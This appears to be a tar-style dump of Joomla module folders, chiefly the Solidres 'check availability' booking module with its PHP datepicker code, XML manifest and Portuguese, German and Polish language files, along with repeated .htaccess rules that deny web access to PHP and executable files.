GPLUS="Goolge Plus"mod_news_show_sp2/language/index.html000060400000000054150747276150013774 0ustar00<html><body bgcolor="#FFFFFF"></body></html>mod_news_show_sp2/language/.htaccess000044400000000177150747276150013605 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_random_image/.htaccess000044400000000177150747276150011644 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_random_image/tmpl/.htaccess000044400000000177150747276150012620 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_category/.htaccess000044400000000177150747276150012725 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_category/tmpl/.htaccess000044400000000177150747276150013701 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_finder/.htaccess000044400000000177150747276150010471 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_finder/tmpl/.htaccess000044400000000177150747276150011445 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_menu/tmpl/.htaccess000044400000000177150747276150011142 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_menu/.htaccess000044400000000177150747276150010166 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_related_items/tmpl/.htaccess000044400000000177150747276150013017 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_related_items/.htaccess000044400000000177150747276150012043 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_breadcrumbs/tmpl/.htaccess000044400000000177150747276150012467 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_breadcrumbs/.htaccess000044400000000177150747276150011513 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_archive/.htaccess000044400000000177150747276150012531 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_articles_archive/tmpl/.htaccess000044400000000177150747276150013505 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_acymailing/tmpl/.htaccess000044400000000177150747276150012313 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_acymailing/.htaccess000044400000000177150747276150011337 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_sr_checkavailability/helper.php000060400000001233150747276150013560 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

/**
 * @package		Solidres
 * @subpackage	mod_sr_checkavailability
 * @since		0.1.0
 */
class modSRCheckAvailabilityHelper
{

}mod_sr_checkavailability/mod_sr_checkavailability.php000060400000022552150747276150017323 0ustar00<?php
/**
 ------------------------------------------------------------------------
 SOLIDRES - Accommodation booking extension for Joomla
 ------------------------------------------------------------------------
 * @author    Solidres Team <contact@solidres.com>
 * @website   https://www.solidres.com
 * @copyright Copyright (C) 2013 - 2019 Solidres. All Rights Reserved.
 * @license   GNU General Public License version 3, or later
 ------------------------------------------------------------------------
 */

defined('_JEXEC') or die;

JHtml::_( 'stylesheet', 'com_solidres/assets/main.min.css', array('version' => SRVersion::getHashVersion(), 'relative' => true) );

$lang = JFactory::getLanguage();
$app = JFactory::getApplication();
$context = 'com_solidres.reservation.process';
$checkin = $app->getUserState($context.'.checkin');
$checkout = $app->getUserState($context.'.checkout');
$roomsOccupancyOptions = $app->getUserState($context.'.room_opt', array());
$prioritizingRoomTypeId = $app->getUserState($context . '.prioritizing_room_type_id', 0);
JTable::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_solidres/tables', 'SolidresTable');
$tableAsset = JTable::getInstance('ReservationAsset', 'SolidresTable');
$tableAsset->load(array('default' => 1, 'state' => 1));
if (empty($tableAsset->id) || $tableAsset->id <= 0)
{
	echo '<div class="alert alert-error">' . JText::_('SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND') . '</div>';
	return;
}

$moduleclass_sfx = htmlspecialchars($params->get('moduleclass_sfx'));
$enableRoomTypeDropdown = $params->get('enable_roomtype_dropdown', 0);

if ($enableRoomTypeDropdown)
{
	JModelLegacy::addIncludePath(JPATH_ADMINISTRATOR . '/components/com_solidres/models', 'SolidresModel');
	$roomTypesModel = JModelLegacy::getInstance('RoomTypes', 'SolidresModel', array('ignore_request' => true));
	$roomTypesModel->setState('filter.reservation_asset_id', $tableAsset->id);
	$roomTypesModel->setState('list.select', 'r.id, r.name');
	$roomTypesModel->setState('filter.state', '1');
	$roomTypes = $roomTypesModel->getItems();
}

$config = JFactory::getConfig();
$solidresConfig = JComponentHelper::getParams('com_solidres');
$minDaysBookInAdvance = $solidresConfig->get('min_days_book_in_advance', 0);
$maxDaysBookInAdvance = $solidresConfig->get('max_days_book_in_advance', 0);
$minLengthOfStay = $solidresConfig->get('min_length_of_stay', 1);
$datePickerMonthNum = $solidresConfig->get('datepicker_month_number', 3);
$weekStartDay = $solidresConfig->get('week_start_day', 1);
$dateFormat = $solidresConfig->get('date_format', 'd-m-Y');
JLoader::register('SRUtilities', SRPATH_LIBRARY . '/utilities/utilities.php');
$tzoffset = $config->get('offset');
$timezone = new DateTimeZone($tzoffset);
$dateCheckIn = JDate::getInstance();
if (!isset($checkin)) :
	$dateCheckIn->add(new DateInterval('P'.($minDaysBookInAdvance).'D'))->setTimezone($timezone);
endif;
$dateCheckOut = JDate::getInstance();
if (!isset($checkout)) :
	$dateCheckOut->add(new DateInterval('P'.($minDaysBookInAdvance + $minLengthOfStay).'D'))->setTimezone($timezone);
endif;

$jsDateFormat = SRUtilities::convertDateFormatPattern($dateFormat);
$roomsOccupancyOptionsCount = count($roomsOccupancyOptions);
$maxRooms = $params->get('max_room_number', 10);
$maxAdults = $params->get('max_adult_number', 10);
$maxChildren = $params->get('max_child_number', 10);
$hideRoomQuantity = $params->get('hide_room_quantity', 0);
$mergeAdultChild = $params->get('merge_adult_child', 0);

$defaultCheckinDate = '';
$defaultCheckoutDate = '';
if (isset($checkin)) {
	$checkinModule = JDate::getInstance($checkin, $timezone);
	$checkoutModule = JDate::getInstance($checkout, $timezone);
	// These variables are used to set the defaultDate of datepicker
	$defaultCheckinDate = $checkinModule->format('Y-m-d', true);
	$defaultCheckoutDate = $checkoutModule->format('Y-m-d', true);
}

if (!empty($defaultCheckinDate)) :
	$defaultCheckinDateArray = explode('-', $defaultCheckinDate);
	$defaultCheckinDateArray[1] -= 1; // month in javascript is less than 1 in compare with month in PHP
endif;

if (!empty($defaultCheckoutDate)) :
	$defaultCheckoutDateArray = explode('-', $defaultCheckoutDate);
	$defaultCheckoutDateArray[1] -= 1; // month in javascript is less than 1 in compare with month in PHP
endif;

$doc = JFactory::getDocument();
JHtml::_('script', SRURI_MEDIA.'/assets/js/datePicker/localization/jquery.ui.datepicker-'.JFactory::getLanguage()->getTag().'.js', false, false);
$doc->addScriptDeclaration('
	Solidres.jQuery(function($) {
		var minLengthOfStay = '.$minLengthOfStay.';
		var checkout = $("#sr-checkavailability-form-' . $module->id . ' .checkout_datepicker_inline_module").datepicker({
			minDate : "+' . ( $minDaysBookInAdvance + $minLengthOfStay ). '",
			numberOfMonths : '.$datePickerMonthNum.',
			showButtonPanel : true,
			dateFormat : "'.$jsDateFormat.'",
			firstDay: '.$weekStartDay.',
			' . (isset($checkout) ? 'defaultDate: new Date(' . implode(',' , $defaultCheckoutDateArray) .'),' : '') . '
			onSelect: function() {
				$("#sr-checkavailability-form-' . $module->id . ' input[name=\'checkout\']").val($.datepicker.formatDate("yy-mm-dd", $(this).datepicker("getDate")));
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").html($.datepicker.formatDate("'.$jsDateFormat.'", $(this).datepicker("getDate")) + "<i class=\"fa fa-calendar\"></i>");
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_datepicker_inline_module").slideToggle();
				$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").removeClass("disabledCalendar");
			}
		});
		var checkin = $("#sr-checkavailability-form-' . $module->id . ' .checkin_datepicker_inline_module").datepicker({
			minDate : "+' .  $minDaysBookInAdvance . 'd",
			'.($maxDaysBookInAdvance > 0 ? 'maxDate: "+'. ($maxDaysBookInAdvance) . '",' : '' ).'
			numberOfMonths : '.$datePickerMonthNum.',
			showButtonPanel : true,
			dateFormat : "'.$jsDateFormat.'",
			'. (isset($checkin) ? 'defaultDate: new Date(' . implode(',' , $defaultCheckinDateArray) .'),' : '') . '
			onSelect : function() {
				var currentSelectedDate = $(this).datepicker("getDate");
				var checkoutMinDate = $(this).datepicker("getDate", "+1d");
				checkoutMinDate.setDate(checkoutMinDate.getDate() + minLengthOfStay);
				checkout.datepicker( "option", "minDate", checkoutMinDate );
				checkout.datepicker( "setDate", checkoutMinDate);

				$("#sr-checkavailability-form-' . $module->id . ' input[name=\'checkin\']").val($.datepicker.formatDate("yy-mm-dd", currentSelectedDate));
				$("#sr-checkavailability-form-' . $module->id . ' input[name=\'checkout\']").val($.datepicker.formatDate("yy-mm-dd", checkoutMinDate));

				$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").html($.datepicker.formatDate("'.$jsDateFormat.'", currentSelectedDate) + "<i class=\"fa fa-calendar\"></i>");
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").html($.datepicker.formatDate("'.$jsDateFormat.'", checkoutMinDate) + "<i class=\"fa fa-calendar\"></i>");
				$("#sr-checkavailability-form-' . $module->id . ' .checkin_datepicker_inline_module").slideToggle();
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").removeClass("disabledCalendar");
			},
			firstDay: '.$weekStartDay.'
		});
		$(".ui-datepicker").addClass("notranslate");
		$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").click(function() {
			if (!$(this).hasClass("disabledCalendar")) {
				$("#sr-checkavailability-form-' . $module->id . ' .checkin_datepicker_inline_module").slideToggle("fast", function() {
					if ($(this).is(":hidden")) {
						$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").removeClass("disabledCalendar");
					} else {
						$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").addClass("disabledCalendar");
					}
				});
			}
		});
	
		$("#sr-checkavailability-form-' . $module->id . ' .checkout_module").click(function() {
			if (!$(this).hasClass("disabledCalendar")) {
				$("#sr-checkavailability-form-' . $module->id . ' .checkout_datepicker_inline_module").slideToggle("fast", function() {
					if ($(this).is(":hidden")) {
						$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").removeClass("disabledCalendar");
					} else {
						$("#sr-checkavailability-form-' . $module->id . ' .checkin_module").addClass("disabledCalendar");
					}
				});
			}
		});

		$("#sr-checkavailability-form-' . $module->id . ' .room_quantity").change(function() {
			var curQuantity = $(this).val();
			$("#sr-checkavailability-form-' . $module->id . ' .room_num_row").each(function( index ) {
				var index2 = index + 1;
				if (index2 <= curQuantity) {
					$("#sr-checkavailability-form-' . $module->id . ' #room_num_row_" + index2).show();
					$("#sr-checkavailability-form-' . $module->id . ' #room_num_row_" + index2 + " select").removeAttr("disabled");
				} else {
					$("#sr-checkavailability-form-' . $module->id . ' #room_num_row_" + index2).hide();
					$("#sr-checkavailability-form-' . $module->id . ' #room_num_row_" + index2 + " select").attr("disabled", "disabled");
				}
			});
		});

		if ($("#sr-checkavailability-form-' . $module->id . ' .room_quantity").val() > 0) {
			$("#sr-checkavailability-form-' . $module->id . ' .room_quantity").trigger("change");
		}
    });
');

$enableRoomQuantity = $params->get('enable_room_quantity_option', 0);

require JModuleHelper::getLayoutPath('mod_sr_checkavailability', $params->get('layout', 'default'));
mod_sr_checkavailability/mod_sr_checkavailability.xml000060400000011261150747276150017327 0ustar00<?xml version="1.0" encoding="UTF-8"?>
<extension
	type="module"
	version="3.0"
	client="site"
	method="upgrade">
	<name>mod_sr_checkavailability</name>
	<creationDate>Dec 2018</creationDate>
	<author>Solidres</author>
	<authorEmail>contact@solidres.com</authorEmail>
	<authorUrl>https://www.solidres.com</authorUrl>
	<copyright>(C) 2013 - 2018 Solidres. All right reserved</copyright>
	<license>GNU General Public License version 3, or later</license>
	<version>2.9.3</version>
	<description>MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION</description>
	<files>
		<filename module="mod_sr_checkavailability">mod_sr_checkavailability.php</filename>
		<filename>helper.php</filename>
		<filename>mod_sr_checkavailability.xml</filename>
		<folder>tmpl</folder>
		<folder>language</folder>
	</files>
    <config>
        <fields name="params">
            <fieldset name="basic">
				<field
						name="target_itemid"
						type="menuitem"
						label="SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL"
						description="SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC" />
				<field name="enable_room_quantity_option" type="list"
					   description="SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC"
					   label="SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL"
					   default="0"
						>
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>
				<field
					name="max_room_number"
					type="text"
					default="10"
                    showon="enable_room_quantity_option:1"
					label="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL"
					description="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC" />
				
				<field
					name="max_adult_number"
					type="text"
					default="10"
                    showon="enable_room_quantity_option:1"
					label="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL"
					description="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC" />
				
				<field
					name="max_child_number"
					type="text"
					default="10"
                    showon="enable_room_quantity_option:1"
					label="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL"
					description="SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC" />

                <field
                    name="hide_room_quantity"
                    type="radio"
                    default="0"
                    class="btn-group"
                    showon="enable_room_quantity_option:1"
                    label="SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL"
                    description="SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC">
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>

                <field
                    name="merge_adult_child"
                    type="radio"
                    default="0"
                    class="btn-group"
                    showon="hide_room_quantity:1"
                    label="SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL"
                    description="SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC">
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>

                <field
                    name="enable_roomtype_dropdown"
                    type="radio"
                    default="0"
                    class="btn-group"
                    label="SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL"
                    description="SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC">
                    <option value="0">JNO</option>
                    <option value="1">JYES</option>
                </field>
            </fieldset>

            <fieldset name="advanced">
                <field
                    name="layout"
                    type="modulelayout"
                    label="JFIELD_ALT_LAYOUT_LABEL"
                    description="JFIELD_ALT_MODULE_LAYOUT_DESC" />
                <field
                    name="moduleclass_sfx"
                    type="textarea" rows="3"
                    label="COM_MODULES_FIELD_MODULECLASS_SFX_LABEL"
                    description="COM_MODULES_FIELD_MODULECLASS_SFX_DESC" />

                <field
                    name="cache"
                    type="list"
                    default="0"
                    label="COM_MODULES_FIELD_CACHING_LABEL"
                    description="COM_MODULES_FIELD_CACHING_DESC">
                    <option
                            value="0">COM_MODULES_FIELD_VALUE_NOCACHING</option>
                </field>


            </fieldset>
        </fields>
    </config>
</extension>
mod_sr_checkavailability/.htaccess000044400000000177150747276150013376 0ustar00<FilesMatch '.(py|exe|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>mod_sr_checkavailability/language/pt-BR/pt-BR.mod_sr_checkavailability.ini000060400000006034150747276150022742 0ustar00MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Checar disponibilidade"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Data de Chegada"
SR_SEARCH_CHECKOUT_DATE="Data de Partida"
SR_SEARCH="Verificar"
SR_RESET="Apagar"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Escolher itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Insira itemid do menu Solidres, a fim de que os resultados mostrados sejam corretos"
SR_YOUR_RESERVATION="Your reservation"
SR_SEARCH_ROOMS="Rooms"
SR_SEARCH_ROOM="Room"
SR_SEARCH_ROOM_ADULTS="Adults"
SR_SEARCH_ROOM_CHILDREN="Children"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max room number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Enter the maximum number of rooms quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max adult number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Enter the maximum number of adult quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max child number"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Enter the maximum number of children quantity that could be chosen in front end. Default is 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Enable room quantity"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Enable room quantity in front end to allow guest choosing room quantity, adult quantity and children quantity."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="No default and published property found. Make sure that you have at least 01 default property in your system and it must be published."mod_sr_checkavailability/language/pt-BR/pt-BR.mod_sr_checkavailability.sys.ini000060400000001145150747276150023555 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Module check availability"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="<p>Solidres - Module check availability is used in front-end by guests to check availability for the <strong>default</strong> property. You can change the default property by editing your property - tab Publishing - field Default.</p><p>This module can be published in your template module positions or embed into Joomla articles using the following syntax: <strong>{loadmodule sr_checkavailability,Your module title}</strong>. Note: you should replace 'Your module title' with your actual module title</p>"mod_sr_checkavailability/language/de-DE/de-DE.mod_sr_checkavailability.ini000060400000005377150747276150022637 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Modul Verf&uuml;gbarkeit Abfragen"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres: Modul Verf&uuml;gbarkeit Abfragen"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Ankunft"
SR_SEARCH_CHECKOUT_DATE="Abreise"
SR_SEARCH="pr&uuml;fen"
SR_RESET="zur&uuml;cksetzen"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Ziel itemid"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Geben Sie die itemid Ihres Solidres Men&uuml; ein, damit die Ergebnisse korrekt angezeigt werden k&ouml;nnen!"
SR_YOUR_RESERVATION="Ihre Reservierung"
SR_SEARCH_ROOMS="Zimmer"
SR_SEARCH_ROOM="Zimmer"
SR_SEARCH_ROOM_ADULTS="Erwachsene"
SR_SEARCH_ROOM_CHILDREN="Kinder"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max Anzahl der Zimmer"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Max Anzahl der Zimmer eingeben die in der Webseite ausgw&auml;hlt werden d&uuml;rfen. Standard ist 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max Anzahl der Erwachsenen Personen"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Max Anzahl der Personen eingeben die in der Webseite ausgw&auml;hlt werden d&uuml;rfen. Standard ist 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max Anzahl der Kinder"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Max Anzahl der Kinder eingeben die in der Webseite ausgew&auml;hlt werden d&uuml;rfen. Standard ist 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Feld f&uuml;r Max Anzahl aktivieren"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Zimmer Anzahl im Frontend aktivieren, damit G&auml;ste die Anzahl der Zimmer, Personen und Kinder ausw&auml;hlen k&ouml;nnen."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Aktiviere Zimmertyp dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="Diese Option aktiviert das Zimmertyp dropdown im Front End f&uuml;r die Gastauswahl, die Zimmertypen Liste wird vom Standardgut abgerufen."
SR_SEARCH_ROOMTYPES="Zimmertypen"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Verstecke Zimmeranzahl"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Verstecke Zimmeranzahlsoption, so dass der Gast keine Anzahl an Zimmern ausw&auml;hlen kann, diese Option ist passend f&uuml;r Apartment Buchungsseiten."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Vereine Erwachsene & Kinder"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Anstatt zwei separate Felder f&uuml;r die Anzahl an Erwachsenen und Kindern anzuzeigen, nur 1 Feld f&uuml;r die Anzahl an G&auml;sten anzeigen"
SR_SEARCH_GUESTS="G&auml;ste"
SR_MOD_CHECKAVAILABILITY_NO_DEFAULT_ASSET_FOUND="Keine standard und ver&ouml;ffentlichte Unterkunft gefunden. Stelle sicher, dass du mindestens 01 Standardunterkunft in deinem System hast, die ver&ouml;ffentlicht ist."
mod_sr_checkavailability/language/de-DE/de-DE.mod_sr_checkavailability.sys.ini000060400000000227150747276150023441 0ustar00MOD_SR_CHECKAVAILABILITY="Solidres - Modul Verfügbarkeit Abfragen"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Solidres - Modul Verfügbarkeit Abfragen"mod_sr_checkavailability/language/pl-PL/pl-PL.mod_sr_checkavailability.sys.ini000060400000000301150747276150023546 0ustar00; Wersja polska: Krzysztof Wandas

MOD_SR_CHECKAVAILABILITY="Solidres - Moduł wyszukiwania rezerwacji"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Moduł wyszukiwania rezerwacji dla Solidres"mod_sr_checkavailability/language/pl-PL/pl-PL.mod_sr_checkavailability.ini000060400000005153150747276150022743 0ustar00; Wersja polska: Krzysztof Wandas

MOD_SR_CHECKAVAILABILITY="Solidres - Moduł wyszukiwania rezerwacji"
MOD_SR_CHECKAVAILABILITY_XML_DESCRIPTION="Moduł wyszukiwania rezerwacji dla Solidres"

; Param Strings
SR_SEARCH_CHECKIN_DATE="Data przyjazdu"
SR_SEARCH_CHECKOUT_DATE="Data wyjazdu"
SR_SEARCH="Szukaj"
SR_RESET="Wyczyść"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_LABEL="Menu ID"
SR_MOD_CHECKAVAILABILITY_FIELD_TARGET_ITEMID_DESC="Wprowadź Id swojego menu Solidres aby strona wyników wyświetlała się prawidłowo."
SR_YOUR_RESERVATION="Twoja rezerwacja"
SR_SEARCH_ROOMS="Ilość pokoi"
SR_SEARCH_ROOM="Pokój"
SR_SEARCH_ROOM_ADULTS="Liczba dorosłych"
SR_SEARCH_ROOM_CHILDREN="Liczba dzieci"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_LABEL="Max pokoi"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ROOM_NUMBER_DESC="Wprowadź maksymalną liczbę pokoi, która może być wybrana na stronie. Domyślnie jest to 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_LABEL="Max dorosłych"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_ADULT_NUMBER_DESC="Wprowadź maksymalną liczbę dorosłych, która może być wybrana na stronie. Domyślnie jest to 10."
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_LABEL="Max dzieci"
SR_MOD_CHECKAVAILABILITY_FIELD_MAX_CHILD_NUMBER_DESC="Wprowadź maksymalną liczbę dzieci, która może być wybrana na stronie. Domyślnie jest to 10."
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_LABEL="Włącz ilość"
SR_MOD_CHECKAVAILABILITY_FIELD_ENABLE_ROOM_QUANTITY_OPTION_DESC="Włącz ilość na stronie aby umożliwić gościom wybór ilości pokoi, dorosłych i dzieci."
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_LABEL="Enable room type dropdown"
SR_MOD_CHECKAVAILABILITY_ENABLE_ROOMTYPE_DROPDOWN_DESC="This option will enable the room type drop down in front end for guest selection, the room type list will be retrieved from the default property."
SR_SEARCH_ROOMTYPES="Room types"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_LABEL="Hide room quantity"
SR_MOD_CHECKAVAILABILITY_HIDE_ROOM_QUANTITY_DESC="Hide room quantity option so that guest can not choose the number of room, this option is suitable for apartment booking site."
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_LABEL="Merge adult & child"
SR_MOD_CHECKAVAILABILITY_MERGE_ADULT_CHILD_DESC="Instead of showing two separated field for adult quantity and child quantity, let show only 1 field for guest quantity"
SR_SEARCH_GUESTS="Guests"
